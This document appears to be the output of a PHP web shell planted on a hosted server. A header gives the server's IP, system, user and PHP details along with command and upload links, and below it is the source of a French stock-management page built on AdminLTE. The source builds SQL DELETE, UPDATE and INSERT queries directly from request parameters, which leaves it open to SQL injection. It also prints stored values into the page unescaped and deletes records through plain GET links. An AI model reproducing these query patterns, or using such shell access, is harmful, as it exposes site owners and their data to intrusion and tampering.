|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// exit() ;
include 'code/init.php' ;
$q =dbi_query("SELECT * FROM `etablissement`") ;
$qq =dbi_query("SELECT * FROM `categorie`") ;
// echo "<pre>" ;
// print_r($_GET);
// echo "</pre>" ;
if(!empty($_GET['stock_produit_ID_sup']))
{
dbi_query("DELETE FROM stock_produit WHERE stock_produit_ID = ".$_GET['stock_produit_ID_sup']) ;
}
if($_POST['Modifier']=="Modifier")
{
// echo "baba<br>" ;
// exit() ;
$stock_produit_reference=$_POST['stock_produit_reference'] ;
$stock_produit_nom=$_POST['stock_produit_nom'] ;
$stock_fournisseur_ID=$_POST['stock_fournisseur_ID'] ;
$stock_produit_conditionnement=$_POST['stock_produit_conditionnement'] ;
$stock_produit_prix=$_POST['stock_produit_prix'] ;
dbi_query( " UPDATE stock_produit
SET stock_produit_reference = '$stock_produit_reference',
stock_produit_nom = '$stock_produit_nom',
stock_fournisseur_ID = '$stock_fournisseur_ID',
stock_produit_conditionnement = '$stock_produit_conditionnement',
stock_produit_prix = '$stock_produit_prix'
WHERE stock_produit_ID = $stock_produit_ID ") ;
}
if($_POST['Enregistrer']=="Enregistrer")
{
$stock_produit_reference=$_POST['stock_produit_reference'] ;
$stock_produit_nom=$_POST['stock_produit_nom'] ;
$stock_fournisseur_ID=$_POST['stock_fournisseur_ID'] ;
$stock_produit_conditionnement=$_POST['stock_produit_conditionnement'] ;
$stock_produit_prix=$_POST['stock_produit_prix'] ;
dbi_query(" INSERT INTO stock_produit (
stock_produit_reference,
stock_produit_nom,
stock_fournisseur_ID,
stock_produit_conditionnement,
stock_produit_prix
)
VALUES
(
'$stock_produit_reference',
'$stock_produit_nom',
'$stock_fournisseur_ID',
'$stock_produit_conditionnement',
'$stock_produit_prix'
)") ;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title> LogMCPRO | Stock</title> <!---------------------------------------------------------------------- TITRE DE LA PAGE -->
<meta name="viewport" content="width=device-width, initial-scale=1"><!-- Tell the browser to be responsive to screen width -->
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css"><!-- Font Awesome -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css"><!-- Ionicons -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css"><!-- overlayScrollbars -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet"><!-- Google Font: Source Sans Pro -->
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css"><!-- Ionicons -->
<link rel="stylesheet" href="../../plugins/datatables-bs4/css/dataTables.bootstrap4.css"> <!-- DataTables -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css"><!-- Theme style -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet"><!-- Google Font: Source Sans Pro -->
</head>
<!------------------------------------------------------------------------------------ NE PAS TOUCHER ---------------------------------------------------->
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!------------------------------------------------------------------------------------ TOP MENU ---------------------------------------------------->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- Placer ici les boutons du TOP MENU GAUCHE-->
<li>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-nouveauproduit"><i class="fas fa-plus"></i> NOUVEAU PRODUIT</button></h3>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav>
<!------------------------------------------------------------------------------------- BARRE DE NAVIGATION -------------------------------------------------->
<aside class="main-sidebar sidebar-dark-primary elevation-4">
<!-- Logo en haut de la barre de navigation -->
<a href="index.php" class="brand-link">
<img src="../../dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3" style="opacity: .8">
<span class="brand-text font-weight-light">MC PRO</span>
</a>
<!-- Sidebar / ne pas toucher -->
<div class="sidebar">
<!-- Identification de l'utilisateur -->
<div class="user-panel mt-3 pb-3 mb-3 d-flex">
<div class="image">
<img src="../../dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
</div>
<div class="info">
<a href="#" class="d-block"><?php echo $_SESSION['nom_utilistaeur'] ;?></a>
</div>
</div>
<!-- Début de la barre de navigation-->
<nav class="mt-2">
<ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false">
<li class="nav-header"> TITRE 1 </li> <!-- TITRE DES LIENS-->
<!-- Lien Clients-->
<li class="nav-item">
<a href="clients.php" class="nav-link">
<i class="nav-icon fas fa-user-tie"></i>
<p> CLIENTS </p>
</a>
</li>
<!-- Lien salariés-->
<li class="nav-item">
<a href="salaries.php" class="nav-link">
<i class="nav-icon fas fa-users"></i>
<p> SALARIES </p>
</a>
</li>
<!-- Lien Paramétrage-->
<li class="nav-item has-treeview"> <!-- Lien avec sous-lien rajouter open après has-treeviews pour afficher les sous-liens-->
<a href="#" class="nav-link"> <!-- Lien avec sous-lien rajouter active après nav-link pour que celui-ci s'affiche en bleu-->
<i class="nav-icon fas fa-cogs"></i> <!-- Icone qui précède le lien-->
<p>
PARAMETRAGE
<i class="right fas fa-angle-left"></i> <!-- Flèche à droite du lien qui informe qu'il y a des sous-liens-->
</p>
</a>
<!-- Début des sous liens de Paramétrage-->
<ul class="nav nav-treeview">
<li class="nav-item">
<a href="users.php" class="nav-link">
<i class="far fa-circle nav-icon"></i>
<p>Utilisateurs</p>
</a>
</li>
<li class="nav-item">
<a href="etablissements.php" class="nav-link">
<i class="far fa-circle nav-icon"></i>
<p>Etablissments</p>
</a>
</li>
<li class="nav-item">
<a href="categories.php" class="nav-link">
<i class="far fa-circle nav-icon"></i>
<p>Catégories</p>
</a>
</li>
</ul>
</li>
<!-- Lien avec sous-lien-->
<li class="nav-item has-treeview"> <!-- Lien avec sous-lien rajouter open après has-treeviews pour afficher les sous-liens-->
<a href="#" class="nav-link"> <!-- Lien avec sous-lien rajouter active après nav-link pour que celui-ci s'affiche en bleu-->
<i class="nav-icon fas fa-tachometer-alt"></i> <!-- Icone qui précède le lien-->
<p>
Lien 1 Avec Sous Lien
<i class="right fas fa-angle-left"></i> <!-- Flèche à droite du lien qui informe qu'il y a des sous-liens-->
</p>
</a>
<ul class="nav nav-treeview">
<li class="nav-item">
<a href="../../index.html" class="nav-link">
<i class="far fa-circle nav-icon"></i>
<p>Sous-lien 1</p>
</a>
</li>
<li class="nav-item">
<a href="../../index2.html" class="nav-link">
<i class="far fa-circle nav-icon"></i>
<p>Sous-lien 2</p>
</a>
</li>
<li class="nav-item">
<a href="../../index3.html" class="nav-link">
<i class="far fa-circle nav-icon"></i>
<p>Sous-lien 3</p>
</a>
</li>
</ul>
</li>
<!-- Fin du lien avec sous-lien-->
<?php
$q = dbi_query('SELECT * FROM stock_fournisseur')
?>
<!-- TITRE DES LIENS-->
<li class="nav-header">TITRE 2</li>
<!-- FIN DU TITRE DES LIENS-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="salaries.php" class="nav-link">
<i class="nav-icon fas fa-users"></i>
<p>
STOCK
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="../widgets.html" class="nav-link">
<i class="nav-icon fas fa-th"></i>
<p>
Lien sans sous lien
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="../widgets.html" class="nav-link">
<i class="nav-icon fas fa-th"></i>
<p>
Lien sans sous lien
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="../widgets.html" class="nav-link">
<i class="nav-icon fas fa-th"></i>
<p>
Lien sans sous lien
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="../widgets.html" class="nav-link">
<i class="nav-icon fas fa-th"></i>
<p>
Lien sans sous lien
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
<!-- TITRE DES LIENS-->
<li class="nav-header">TITRE 3</li>
<!-- FIN DU TITRE DES LIENS-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="../widgets.html" class="nav-link">
<i class="nav-icon fas fa-th"></i>
<p>
Lien sans sous lien
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="../widgets.html" class="nav-link">
<i class="nav-icon fas fa-th"></i>
<p>
Lien sans sous lien
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="../widgets.html" class="nav-link">
<i class="nav-icon fas fa-th"></i>
<p>
Lien sans sous lien
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
<!-- Lien sans sous-lien-->
<li class="nav-item">
<a href="../widgets.html" class="nav-link">
<i class="nav-icon fas fa-th"></i>
<p>
Lien sans sous lien
</p>
</a>
</li>
<!-- Fin du lien sans sous-lien-->
</ul>
</nav>
</div>
</aside>
<!-------------------------------------------------------------------------------------------DEMARRAGE DE LA PAGE PRINCIPALE ------------------------------------>
<div class="content-wrapper">
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<!-- /.col -->
<form method="POST" action="">
<div class="modal fade" id="modal-nouveauproduit">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Nouveau Produit</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<!-- ///////Ligne Fournisseur -->
<div class="form-group">
<label for="inputstock_fournisseur_ID">Fournisseur</label>
<select class="form-control" name="stock_fournisseur_ID">
<?php
while($etabs = dbi_fetch_row($q))
{
?>
<option value="<?=$etabs['stock_fournisseur_ID'] ?>" ><?=$etabs['stock_fournisseur_nom'] ?></option>
<?
}
?>
</select>
</div>
<!-- ///////Ligne Référence -->
<div class="form-group">
<label for="inputstock_produit_reference">Référence</label>
<input type="text" class="form-control" id="inputstock_produit_reference" name="stock_produit_reference" placeholder="Référence">
</div>
<!-- ///////Ligne Nom -->
<div class="form-group">
<label for="inputstock_produit_nom">Nom du Produit</label>
<input type="text" class="form-control" id="inputstock_produit_nom" name="stock_produit_nom" placeholder="Nom">
</div>
<!-- ///////Ligne Conditionnement -->
<div class="form-group">
<label for="inputstock_produit_conditionnement">Conditionnement</label>
<input type="text" class="form-control" id="inputstock_produit_conditionnement" name="stock_produit_conditionnement" placeholder="Conditionnement">
</div>
<!-- ///////Ligne Prix Unitaire -->
<div class="form-group">
<label for="inputstock_produit_prix">Prix Unitaire</label>
<input type="text" class="form-control" id="inputstock_produit_prix" name="stock_produit_prix" placeholder="Prix Unitaire">
</div>
</div>
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
<input type="submit" class="btn btn-primary" name="Enregistrer" value="Enregistrer">
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</form>
</div>
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!---------------------------------------------------------- PAGE PRINCIPALE -------------------------------------------------------------->
<div class="content">
<div class="container-fluid">
<div class="row">
<!-- BARRE DE NAVIGATION DU CLIENT -->
<div class="col-lg-3"> <!-- Position de la barre de navigation du client-->
<div class="card card-primary card-outline">
<div class="card-body">
<ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false">
<li class="nav-item">
<a href="stock_etat.php" class="nav-link"> <i class="nav-icon fas fa-cube"></i> Etat du Stock </a>
</li>
<li class="nav-item">
<a href="stock_reception_livraison" class="nav-link"> <i class="nav-icon fas fa-truck"></i> Réception Livraison </a>
</li>
<li class="nav-item">
<a href="stock_livraison_client" class="nav-link"> <i class="nav-icon fas fa-dolly-flatbed"></i> Livraison Client </a>
</li>
<li class="nav-item">
<a href="stock_fournisseur.php" class="nav-link"> <i class="nav-icon fas fa-industry"></i> Fournisseurs </a>
</li>
<li class="nav-item">
<a href="stock_lieu_stockage.php" class="nav-link"><i class="nav-icon fas fa-building"></i> Lieux de Stockage </a>
</li>
<li class="nav-item">
<a href="stock_produit.php" class="nav-link"> <i class="nav-icon fas fa-box"></i>Produits </a>
</li>
</ul>
</div>
</div>
</div>
<!-------------------------------------------------------------- FIN DE LA BARRE DE NAVIGATION DU CLIENT --------------------------------------------------------->
<!-- PASSAGE A LA COLONNE DE DROITE-->
<div class="col-lg-9">
<?php
$q =dbi_query("SELECT * FROM `stock_produit`") ;
?>
<!-- CARD DE DROITE-->
<div class="card">
<div class="card-header">
<h5 class="m-0"><i class="nav-icon fas fa-user"></i> Produits</h5>
</div>
<div class="card-body">
<section class="content">
<!------------------------------------------------------ FORMULAIRE DE MODIFICATION D'UN PRODUIT------------------------------------------------------------->
<?php
// echo"<pre>" ;
// print_r($_GET) ;
// echo"</pre>" ;
$qa = dbi_query('SELECT * FROM stock_fournisseur') ;
if($_GET['stock_produit_ID'] && $_POST['Modifier']!="Modifier")
{
$qq =dbi_fetch_row(dbi_query("SELECT * FROM `stock_produit` where stock_produit_ID =".$_GET['stock_produit_ID'])) ;
?>
<form method="POST" action="" >
<div class="modal-bffody">
<div class="form-group">
<label for="inputstock_produit_reference">Référence</label>
<input type="text" class="form-control" id="inputstock_produit_reference" name="stock_produit_reference" placeholder="Référence" value="<?php echo $qq['stock_produit_reference'] ; ?>">
</div>
<div class="form-group">
<label for="inputstock_produit_nom">Nom</label>
<input type="text" class="form-control" id="inputstock_produit_nom" name="stock_produit_nom" placeholder="Nom" value="<?php echo $qq['stock_produit_nom'] ; ?>">
</div>
<div class="form-group">
<label for="inputstock_fournisseur_ID">Fournisseur</label>
<select class="form-control" name="stock_fournisseur_ID">
<?php
while($etabs = dbi_fetch_row($qa))
{
?>
<option value="<?=$etabs['stock_fournisseur_ID'] ?>" <?php if($etabs['stock_fournisseur_ID']==$qq['stock_fournisseur_ID']) echo 'SELECTED'; ?> ><?=$etabs['stock_fournisseur_nom'] ?></option>
<?
}
?>
</select>
</div>
<div class="form-group">
<label for="inputstock_produit_conditionnement">Conditionnement</label>
<input type="text" class="form-control" id="inputstock_produit_conditionnement" name="stock_produit_conditionnement" placeholder="Conditionnement" value="<?php echo $qq['stock_produit_conditionnement'] ; ?>">
</div>
<div class="form-group">
<label for="inputstock_produit_prix">Prix</label>
<input type="text" class="form-control" id="inputstock_produit_prix" name="stock_produit_prix" placeholder="Prix" value="<?php echo $qq['stock_produit_prix'] ; ?>">
</div>
</div>
<div class="modal-footer justify-content-between">
<input type="hidden" name="stock_produit_ID" value="<?php echo $qq['stock_produit_ID'] ; ?>">
<input type="submit" class="btn btn-primary" name="Modifier" value="Modifier">
</div>
</form>
<?php
}
else
{
?>
<!---------------------------------------------------------------FIN---------------------------------------------------------->
<!-- /.card-header -->
<div class="card-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>Référence</th> <!-- /.Table Contact - Champs contact_nom -->
<th>Nom</th> <!-- /.Table Contact - Champs contact_prénom -->
<th>Fournisseur</th> <!-- /.Table Contact - Champs contact_fonction -->
<th>Conditionnement</th> <!-- /.Table Contact - Champs contact_tel1 -->
<th>Prix</th> <!-- /.Table Contact - Champs contact_tel2-->
<th>Editer</th> <!-- /.Ouverture Modal pour éditer le contact-->
</tr>
</thead>
<tbody>
<?
while($cl=dbi_fetch_row($q))
{
?>
<tr>
<td><?=$cl['stock_produit_reference'] ?></td>
<td><?=$cl['stock_produit_nom'] ?></td>
<td><?=$cl['stock_fournisseur_ID'] ?></td>
<td><?=$cl['stock_produit_conditionnement'] ?></td>
<td><?=$cl['stock_produit_prix'] ?></td>
<td>
<a style="color:grey" href="stock_produit.php?link=client&page=aaa&stock_produit_ID=<?=$cl['stock_produit_ID'];?>&act=timeline" > <span class="glyphicon glyphicon-th-large"> <i class="fas fa-edit"> </i></span></a>
 
<a style="color:grey" href="stock_produit.php?link=client&page=aaa&stock_produit_ID_sup=<?=$cl['stock_produit_ID'];?>&act=timeline" > <span class="glyphicon glyphicon-th-large"><i class="far fa-trash-alt"></i></span></a>
</td>
</tr>
<?
}
?>
</tbody>
<tfoot>
<tr>
<th>Référence</th> <!-- /.Table Contact - Champs contact_nom -->
<th>Nom</th> <!-- /.Table Contact - Champs contact_prénom -->
<th>Fournisseur</th> <!-- /.Table Contact - Champs contact_fonction -->
<th>Conditionnement</th> <!-- /.Table Contact - Champs contact_tel1 -->
<th>Prix</th> <!-- /.Table Contact - Champs contact_tel2-->
<th>Editer</th> <!-- /.Ouverture Modal pour éditer le contact-->
</tr>
</tfoot>
</table>
<?php
}
?>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<!-- NE PAS TOUCHER AU DESSUS DESSOUS -->
</div>
</div>
</div>
</div>
</div>
<!-- /.col-md-6 -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
</body>
</html>
